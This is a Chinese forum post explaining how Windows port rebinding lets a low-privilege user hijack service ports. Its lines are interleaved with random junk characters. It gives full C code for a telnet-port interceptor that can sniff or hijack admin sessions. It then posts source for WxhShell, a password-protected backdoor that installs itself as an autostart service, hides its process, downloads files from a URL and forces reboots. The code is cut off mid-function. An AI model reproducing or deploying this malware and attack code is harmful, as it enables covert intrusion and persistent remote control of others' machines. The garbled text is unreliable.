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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @D&}ZV=J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;1woTAuD  
T! fF1cpF\  
  saddr.sin_family = AF_INET; J@ pCF@'  
3%SwCYd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >_um-w#C  
g:>Mooxzi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U6R~aRJ;  
_,9/g^<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `!iVMTp  
G~Mxh,aD$>  
  这意味着什么?意味着可以进行如下的攻击: 9"mcN3x:\e  
J |TA12s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SXfAw)-n  
){{]3r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Snf1vH  
aY@st]p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lip1wR7  
$P%b?Y/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f^[:w1X$sM  
3XomnL{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #i~2C@]  
hA_Y@&=W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YF<;s^&@u  
QO%#.s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~Uw<E:?v  
~$3X>?Q  
  #include V$XCe  
  #include 4{oS(Vl!  
  #include Yy:Q/zw o  
  #include    %o9;jX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /SDDCZ`;|c  
  int main() XT 'v7  
  { w st)O{4  
  WORD wVersionRequested; ir*T ,O 2J  
  DWORD ret; n9Xssl0  
  WSADATA wsaData; g<r'f"^  
  BOOL val; F( Iq8DV  
  SOCKADDR_IN saddr; r% ]^(  
  SOCKADDR_IN scaddr; 6~j.S "  
  int err; 27!9LU  
  SOCKET s; #=B~} _  
  SOCKET sc; &7\q1X&Rr  
  int caddsize; 3d|n\!1r  
  HANDLE mt; :. ja~Q  
  DWORD tid;   w;p!~o &  
  wVersionRequested = MAKEWORD( 2, 2 ); 0au\X$)Q  
  err = WSAStartup( wVersionRequested, &wsaData ); cp7Rpqg  
  if ( err != 0 ) { GGR hM1II  
  printf("error!WSAStartup failed!\n"); " )87GQ(R  
  return -1; \f7A j>  
  } g5*Zg_G/  
  saddr.sin_family = AF_INET; 7Ed6o  
   u.s-/ g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _,JdL'[d  
ZiS<vWa3R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TZ,kmk#  
  saddr.sin_port = htons(23); szy^kj^2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \y G//  
  { HFL(t]  
  printf("error!socket failed!\n"); *[eh0$  
  return -1; P`K?k<  
  } mzl %h[9iI  
  val = TRUE; Iw0Q1bK(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :>K=kZ=k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i$A0_ZJKjZ  
  { ? }2]G'7?  
  printf("error!setsockopt failed!\n"); 5`B ! 1  
  return -1; n^Qt !~  
  } A:3:Cr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .7*3V6h=F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 : _>/Yd7-&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EfR3$sp  
xCOC5f5*@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]oN:MS4r  
  { vbeYe2;(  
  ret=GetLastError(); dX0"h5v1  
  printf("error!bind failed!\n"); X=<-rFW  
  return -1; 1{sfDw[s  
  } /OpVr15  
  listen(s,2); zd+_ BPT  
  while(1) ;MqH)M  
  { cj:!uhZp7  
  caddsize = sizeof(scaddr); Ed%8| M3  
  //接受连接请求 J0e~s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RfMrGC^?  
  if(sc!=INVALID_SOCKET) (P-Bmu!s  
  { {:VUu?5-t;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); szY=N7\S*  
  if(mt==NULL) k{op,n#  
  { Q]Fm4  
  printf("Thread Creat Failed!\n"); 'L w4jq  
  break; /=zzym~<>  
  } pm-SDp>s  
  } tkFGGc}w\  
  CloseHandle(mt); wsyG~^>  
  }  6[<*C?  
  closesocket(s); l%?D%'afN  
  WSACleanup(); U`D.cEMfH  
  return 0; \@6nRs8b|N  
  }   (Z YGfX  
  DWORD WINAPI ClientThread(LPVOID lpParam) h]rF2 B  
  { Gu-*@C:^&  
  SOCKET ss = (SOCKET)lpParam; 0k?ph$  
  SOCKET sc; QPf#y7_@u  
  unsigned char buf[4096]; W?a2P6mAh  
  SOCKADDR_IN saddr; rRN7H L+b  
  long num; NM0[yh  
  DWORD val; 8#gS{   
  DWORD ret; lD;="b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S aCa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qYHAXc}$  
  saddr.sin_family = AF_INET; ZI  q!ee  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kMGK 8y  
  saddr.sin_port = htons(23); &95iGL28Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s }]qlg  
  { sbZ$h <  
  printf("error!socket failed!\n"); 7a@%^G @!  
  return -1; R6ynL([xh  
  } }U=|{@%  
  val = 100;  q$$:<*Uy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e>-a\g  
  { fX,L;Se"  
  ret = GetLastError(); 6B)3SC  
  return -1; }E5oa\ 1u  
  } 2 0Xqs,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h*_h M1*;  
  { "5]Fl8c?  
  ret = GetLastError(); _`>F>aP  
  return -1; D}SYv})Ti  
  } EK^B=)q6:W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;- D1n  
  { bwjjwu&  
  printf("error!socket connect failed!\n"); 3@ a  
  closesocket(sc); JJHr<|K  
  closesocket(ss); WxE4r  
  return -1; yJx{6  
  } KgtMrT5<q  
  while(1) stDrF1{  
  { fUh7PF%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D"WqJcDt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,?"cKdiZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pKf]&?FX  
  num = recv(ss,buf,4096,0); |kwBb>V  
  if(num>0) 5cbtMNP  
  send(sc,buf,num,0); $EjM )  
  else if(num==0) 4J=6A4O5Z  
  break; K-&&%Id6R  
  num = recv(sc,buf,4096,0); pA(B~9WQ  
  if(num>0) ~429sT(   
  send(ss,buf,num,0); <#U9ih 2  
  else if(num==0) sh []OSM  
  break; (U"Ub;[7  
  } . z/M (  
  closesocket(ss); WPBn?vb0<  
  closesocket(sc); HS{a^c%  
  return 0 ; W]!{Y'G  
  } re9*q   
Q:I2\E  
{shf\pm!o  
========================================================== X<\y%2B|l  
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下边附上一个代码,,WXhSHELL 2s{PE  
?*i qg[:  
========================================================== bT|N Z!V  
j tdhdA  
#include "stdafx.h" j9zK=eG  
]UG+<V ,:  
#include <stdio.h> ]Mu + DZ  
#include <string.h> 8r^~`rL  
#include <windows.h> pyEi@L1p  
#include <winsock2.h> T:ye2yg  
#include <winsvc.h> /"A)}>a  
#include <urlmon.h> S/}6AX#F4  
:DP%>H|  
#pragma comment (lib, "Ws2_32.lib") B3V:?#  
#pragma comment (lib, "urlmon.lib") <qD/ #$   
J:  
#define MAX_USER   100 // 最大客户端连接数 GzJLG=M  
#define BUF_SOCK   200 // sock buffer a+$WlG/x  
#define KEY_BUFF   255 // 输入 buffer z4f\0uQ  
R u^v!l`!7  
#define REBOOT     0   // 重启 C:qb-10|A  
#define SHUTDOWN   1   // 关机 O$}p}%%y7  
v\Zni4  
#define DEF_PORT   5000 // 监听端口 tGGv 2TCEy  
T+z]ztO  
#define REG_LEN     16   // 注册表键长度 pK=$)<I"6  
#define SVC_LEN     80   // NT服务名长度 90)0\i+P  
w ^ v*1KA&  
// 从dll定义API 2Yd0:$a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t+'|&b][Qi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c@RMy$RTF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $x,?+N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i>!7/o  
[6@{^  
// wxhshell配置信息 sY4sq5'!  
struct WSCFG { %T]NM3|U  
  int ws_port;         // 监听端口 IwC4fcZX6  
  char ws_passstr[REG_LEN]; // 口令 0be1aY;m&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8spoDb.S  
  char ws_regname[REG_LEN]; // 注册表键名 2}Dd{kC-  
  char ws_svcname[REG_LEN]; // 服务名 YfBb=rN2s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p[BF4h{E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LG6VeYe|\X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V[-4cu,Ph^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^06f\7A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w9I7pIIl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8X=cGYC#  
TRwlUC3hQ  
}; rrK&XP&  
f,9jK9/$  
// default Wxhshell configuration s`* 'JM<  
struct WSCFG wscfg={DEF_PORT, k9j_#\E[  
    "xuhuanlingzhe", ]M AB  
    1, ,-PzUR4_Kj  
    "Wxhshell", gakmg#ki  
    "Wxhshell", \|20E51B[  
            "WxhShell Service", wD|,G!8E2  
    "Wrsky Windows CmdShell Service", ]>fAV(ix  
    "Please Input Your Password: ", YUo{e=m|  
  1, 7a_pO1MBL  
  "http://www.wrsky.com/wxhshell.exe", Bq~!_6fB  
  "Wxhshell.exe" {UpHHH:X#  
    }; -<kl d+  
2Y_ `&  
// 消息定义模块 VuqN)CE^Uq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OU;R;=/]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >$,A [|R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &V7@ TZ  
char *msg_ws_ext="\n\rExit."; .'o<.\R8  
char *msg_ws_end="\n\rQuit."; &V5[Zj|]  
char *msg_ws_boot="\n\rReboot..."; f}q4~NPn-  
char *msg_ws_poff="\n\rShutdown..."; r\7F}ZW/  
char *msg_ws_down="\n\rSave to "; =[%ge{,t  
<ijf':X=*  
char *msg_ws_err="\n\rErr!"; 1@Dp<Q  
char *msg_ws_ok="\n\rOK!"; 3V:{_~~  
44 bTx y  
char ExeFile[MAX_PATH]; j .Ro(0%  
int nUser = 0; %VG;vW\V  
HANDLE handles[MAX_USER]; [r'PGx  
int OsIsNt; Y1a[HF^-  
SH>L3@Za  
SERVICE_STATUS       serviceStatus; Az4+([  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jlw<% }r  
9{{QdN8  
// 函数声明 2N_8ahc  
int Install(void); =}N&c4I[j  
int Uninstall(void); a1Q|su{H  
int DownloadFile(char *sURL, SOCKET wsh); fE"Q:K6r2  
int Boot(int flag); N9LBji;nH  
void HideProc(void); $ o rN>M42  
int GetOsVer(void); ^'EeJN  
int Wxhshell(SOCKET wsl); (.Hiee43  
void TalkWithClient(void *cs); bJc<FL<E  
int CmdShell(SOCKET sock); Ed[ tmaEuV  
int StartFromService(void); ( ON n{12Q  
int StartWxhshell(LPSTR lpCmdLine); L[\m{gN  
hwF9LD~^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UhuEE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b%`^KEvwfo  
utIR\e#:B  
// 数据结构和表定义 :V1ttRW}52  
SERVICE_TABLE_ENTRY DispatchTable[] = eliT<sw8  
{ A/n-.ci  
{wscfg.ws_svcname, NTServiceMain}, N ]/ N}b  
{NULL, NULL} q$)$?"  
}; +We_[Re`<  
>]N}3J}47g  
// 自我安装 i0`<`qSQh  
int Install(void) *0>![v  
{ AR9D;YfR~  
  char svExeFile[MAX_PATH]; j)4:*R.Z]  
  HKEY key; +_Nr a  
  strcpy(svExeFile,ExeFile); nn>1OO  
""cnZZ5)  
// 如果是win9x系统,修改注册表设为自启动 4yhan/zA  
if(!OsIsNt) { #/fh_S'Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O~t]:p9_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4]L5%=atn  
  RegCloseKey(key); N@D]Q&;+(T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d-e6hI4b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-pZrnZ!  
  RegCloseKey(key); '6l4MR$j&m  
  return 0; ^z&eD,  
    } $4K( AEt[  
  } C9^[A4O@X!  
} X v[5)4N  
else { eF]`?AeWQ  
P{ YUW~  
// 如果是NT以上系统,安装为系统服务 GE;S5 X]X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H#pl&/+  
if (schSCManager!=0) g)7~vm2/,  
{ 3vx5dUgl,  
  SC_HANDLE schService = CreateService )?35!s6  
  ( AF ,*bb  
  schSCManager, HUF],[N  
  wscfg.ws_svcname, RTN?[`  
  wscfg.ws_svcdisp, l1(6*+  
  SERVICE_ALL_ACCESS, 0vN<0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zrt\] h+  
  SERVICE_AUTO_START, EfxW^zm)  
  SERVICE_ERROR_NORMAL, C:S*ju K  
  svExeFile, Ore>j+  
  NULL, +ZH-'l  
  NULL, A*d Pw.  
  NULL, }j=UO*|  
  NULL, &)UZ9r`z  
  NULL |C:^BWrU*  
  ); y %R-Oc  
  if (schService!=0) O@*7O~eO  
  { V_b"^911r  
  CloseServiceHandle(schService); "B18|#v  
  CloseServiceHandle(schSCManager); L eg)q7n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >uVo 'S.  
  strcat(svExeFile,wscfg.ws_svcname); \ G}02h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0#\K9|.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i?+ZrAx>  
  RegCloseKey(key); cd_\?7  
  return 0; JbT+w \o  
    } #2*l"3.$.R  
  } pq8XCOllXx  
  CloseServiceHandle(schSCManager); ;U7o)A;  
} 9a\H+Y~  
} Ziclw)   
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return 1; f uzz3#  
} m]C|8b7Y  
OIi8x? .~]  
// 自我卸载 6T-h("t  
int Uninstall(void) X`/3X}<$7  
{ [bE-Uu7q5P  
  HKEY key; ;#'YO1`gf3  
L`sg60z  
if(!OsIsNt) { #cHH<09 rl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9o)sSaTx=  
  RegDeleteValue(key,wscfg.ws_regname); UoD S)(i  
  RegCloseKey(key); Q7<%_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;E,^bt<U  
  RegDeleteValue(key,wscfg.ws_regname); G$#Q:]N  
  RegCloseKey(key); 2x PkQOj3  
  return 0; _=%F6}TE  
  } 'gBns  
} s &4k  
} ?= G+L0t  
else { ie<zc+*rW  
tX'`4!{@+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a1^CpeG~  
if (schSCManager!=0) 4XL$I*;4  
{ zL8Z8eh">  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "LwLTPC2  
  if (schService!=0) k2bjBAT  
  { O|Sbe%[*wW  
  if(DeleteService(schService)!=0) { r"E%U:y3P  
  CloseServiceHandle(schService); ALcin))+B  
  CloseServiceHandle(schSCManager); +0,'B5 (E  
  return 0; @;\2 PD  
  } .AB n$ml]  
  CloseServiceHandle(schService); 8'K~+L=}  
  } u^6@!M  
  CloseServiceHandle(schSCManager); Q#kSp8  
} }j+Af["W?  
} }~I(e  
F747K);_  
return 1; BZJ\tPSR  
} =*0KH##%$  
I{bDa'rX  
// 从指定url下载文件 C ~e&J&zh  
int DownloadFile(char *sURL, SOCKET wsh) _#\e5bE=Z  
{ fyt ODsb>  
  HRESULT hr; n>t&l8g%g  
char seps[]= "/"; ni2GZ<1j  
char *token; Dx)>`yJk$;  
char *file; GtuA94=!V&  
char myURL[MAX_PATH]; %rFR:w`{  
char myFILE[MAX_PATH]; $Cgl$A  
^"dVz.  
strcpy(myURL,sURL); t4;eabZK  
  token=strtok(myURL,seps); k kZ2Jxvx  
  while(token!=NULL) UWW^g@d4  
  { y ;/T.W9!  
    file=token; .2Q4EbM2  
  token=strtok(NULL,seps); W)X" G3  
  } #!0=I s^  
a/\SPXQ/9  
GetCurrentDirectory(MAX_PATH,myFILE); g 2LY~  
strcat(myFILE, "\\"); 1;*4y J2  
strcat(myFILE, file); ;\]& k  
  send(wsh,myFILE,strlen(myFILE),0); T }}T`Ce  
send(wsh,"...",3,0); kk`K)PESi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^l:~r2  
  if(hr==S_OK) PFKl6_(  
return 0; aM7e?.rU  
else 3 as~yF0  
return 1; opXxtYC@  
d/8p?Km  
} "|Ke/0rGB  
f};RtRo2  
// 系统电源模块 _2-fH  
int Boot(int flag) *5QN:  
{ f7lt|.p  
  HANDLE hToken; =:M/hM)#  
  TOKEN_PRIVILEGES tkp; QGCg~TV;  
o&t*[#  
  if(OsIsNt) { ~|lEi1|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @3w6 !Sgh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *b}/fG)XZ  
    tkp.PrivilegeCount = 1; H|Y*TI2vf8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U#iGR5&^3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pqCp>BO?O  
if(flag==REBOOT) { xA'RO-a}h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :' =le*h  
  return 0; ptc.JB6  
} } =p e;l  
else { n #l~B@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bq5-L}z  
  return 0; /n2qW.qJ>  
} n2(`O^yd7C  
  } ]')  
  else { Y|l&mK?  
if(flag==REBOOT) {  erQQ_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M=M~M$K  
  return 0; s||c#+j"8  
} >"q?P^f/  
else { 'uW&AD p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z=m5V(9  
  return 0; E5$Fhc   
} [t6Y,yo&h4  
} _,<@II  
[Ot<8)Jm  
return 1; &s(mbpV  
} c(kYCVc   
8 7z]qE  
// win9x进程隐藏模块 b}3t8?wG&  
void HideProc(void) "C.cU  
{ )Z*nm<=  
N;HG@B!m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .MS41 E!  
  if ( hKernel != NULL ) =o )B1(v@.  
  { Gc=uKQ+\V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o?g9Grk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TFNB %|  
    FreeLibrary(hKernel); Hmx Y{KB  
  } wpI"kk_@@  
[w*]\x'S  
return; ~c=F$M^"c  
} UL.YDU)  
eJ0Xfw%y%T  
// 获取操作系统版本 FfC\uuRe  
int GetOsVer(void) 6zp]SPY  
{ gF2,Jm@"6  
  OSVERSIONINFO winfo; zEKVyZd*{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `qV*R 2  
  GetVersionEx(&winfo); FN<S agj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l`A e&nc6  
  return 1; 8Sk$o.Gy  
  else 8 KRo<  
  return 0; Zg4kO;r08  
} $!vK#8-&{  
O'{g{  
// 客户端句柄模块 J)EL<K$Z[  
int Wxhshell(SOCKET wsl) YmwXA e:  
{ _7;D0l  
  SOCKET wsh; M2nWvU$  
  struct sockaddr_in client; 489xoP  
  DWORD myID; 4iv&!hAc;  
zGwM# -  
  while(nUser<MAX_USER) oh7tE$"c  
{ iOtf7.@  
  int nSize=sizeof(client); ]m :Y|,:6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n= q7*<l  
  if(wsh==INVALID_SOCKET) return 1; d/[kky}  
:rU,7`sE/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iHT=ROL  
if(handles[nUser]==0) q $=[v  
  closesocket(wsh); j6E|j>@u  
else ^x2@KMKXZ  
  nUser++; Ki>XLX,er=  
  } **.g^Pyc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AHU =`z  
PDS?>Jg(  
  return 0; *LEI@  
} }"&Ye  
6!C>J#T  
// 关闭 socket M0t9`Z9  
void CloseIt(SOCKET wsh) K@vU_x0Sl  
{ 9 /=+2SZ  
closesocket(wsh); i}O.,iH  
nUser--; G8.nKoHv7x  
ExitThread(0); !tSh9L;<O  
} d+nxvh?I8  
c=D~hzN  
// 客户端请求句柄  L+CPT  
void TalkWithClient(void *cs) oS~;>]W  
{ +OZ\rs  
Ek60[a  
  SOCKET wsh=(SOCKET)cs; q<K/q"0-l  
  char pwd[SVC_LEN]; NFPWh3),f  
  char cmd[KEY_BUFF]; lMgPwvs'  
char chr[1]; v\+`n^=  
int i,j; r)Ja\ ;  
p/HGI)'  
  while (nUser < MAX_USER) { 3U'l'H,  
iikMz|:7U  
if(wscfg.ws_passstr) { 30O7u3Zrb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *6G@8TIh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "|BSGV!8  
  //ZeroMemory(pwd,KEY_BUFF); Hb[P|pPT  
      i=0; T_d)1m fl  
  while(i<SVC_LEN) { }/4),W@<  
x2f=o|]D'  
  // 设置超时 ?KWo1  
  fd_set FdRead; "y60YYn-#J  
  struct timeval TimeOut; ^I{/j 'b&  
  FD_ZERO(&FdRead); X%T%N;P  
  FD_SET(wsh,&FdRead); W^pf 1I8[  
  TimeOut.tv_sec=8; n7|,b- <  
  TimeOut.tv_usec=0; VI-6t"l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dl(!{tZ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6#Rco%07zI  
RIDl4c [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZFX6 iAxd  
  pwd=chr[0]; e>P>DmlW  
  if(chr[0]==0xd || chr[0]==0xa) { T!i$nI&  
  pwd=0; 03.\!rZZ  
  break; $}fY B/  
  } mNsd&Rk'  
  i++; uDLj*U6L  
    } T uC  
'>HLE)l  
  // 如果是非法用户,关闭 socket  ijDXh y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G_M8? G0  
} P-DW@drxF  
Tv9\` F[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Sl_qL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }D-jTZlC  
'.jYu7   
while(1) { dK4w$~j{k  
lq mr`\@)  
  ZeroMemory(cmd,KEY_BUFF); 99"8d^{z  
GE? \Vm  
      // 自动支持客户端 telnet标准   `lrNH]B  
  j=0; VB`% u=  
  while(j<KEY_BUFF) { ZZ T 9t#~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Mz]y?k'  
  cmd[j]=chr[0]; ^9><qKbO  
  if(chr[0]==0xa || chr[0]==0xd) { o$Y#C{wC%  
  cmd[j]=0;  >hzSd@J&  
  break; HA[7)T N1E  
  } (/E@.z[1  
  j++; 0\, !  
    } 4K 8(H9(  
*U$%mZS]1  
  // 下载文件 fe8hgTP|  
  if(strstr(cmd,"http://")) { FNw]DJ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z|t2;j[  
  if(DownloadFile(cmd,wsh)) 8m?cvI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / <%EKu5  
  else 'rq@9$h1W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !,C8  
  } xdVsbW)L2  
  else { xo2j fz  
i5|)|x3  
    switch(cmd[0]) { qlnA7cK!  
  O<ybiPR  
  // 帮助 } 7ND] y48  
  case '?': { c^&4m[?C[u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aMVq%{U  
    break; ZUvc|5]  
  } 7fXJP5j  
  // 安装 )1YX+',"  
  case 'i': { 2.\"Q  
    if(Install()) Y/?z8g'p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LXZI|K[}k  
    else 0g~Cdp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3E0C$v KM  
    break; Z{/GT7 /  
    } x&"P^gh)  
  // 卸载 0JKTwLhC  
  case 'r': { i52JY&N  
    if(Uninstall()) GDb V y)&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6G}4KGQc  
    else 73nM9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `sg W0Uf  
    break; nwzyL`kF  
    } ))nTd=  
  // 显示 wxhshell 所在路径 oKH+Q6S:  
  case 'p': { &C)97E  
    char svExeFile[MAX_PATH]; gGN 6Yqj0  
    strcpy(svExeFile,"\n\r"); LDYa{w-t  
      strcat(svExeFile,ExeFile); \cf'Hj}  
        send(wsh,svExeFile,strlen(svExeFile),0); 4eF{Y^   
    break; OmK4 \_.  
    } D6"d\F m<  
  // 重启 t<j_` %`8  
  case 'b': { L}'^FqO[IW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P]OUzI,  
    if(Boot(REBOOT)) LFr$h`_D5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|#,Bsk"@  
    else { TKiYEh  
    closesocket(wsh); /8Z&Y`G  
    ExitThread(0); eKo=g|D  
    } 6L)7Q0Z  
    break; H/.UDz  
    } k8l7.e*  
  // 关机 -F 9 xPw  
  case 'd': { h0HK~S#xBv  
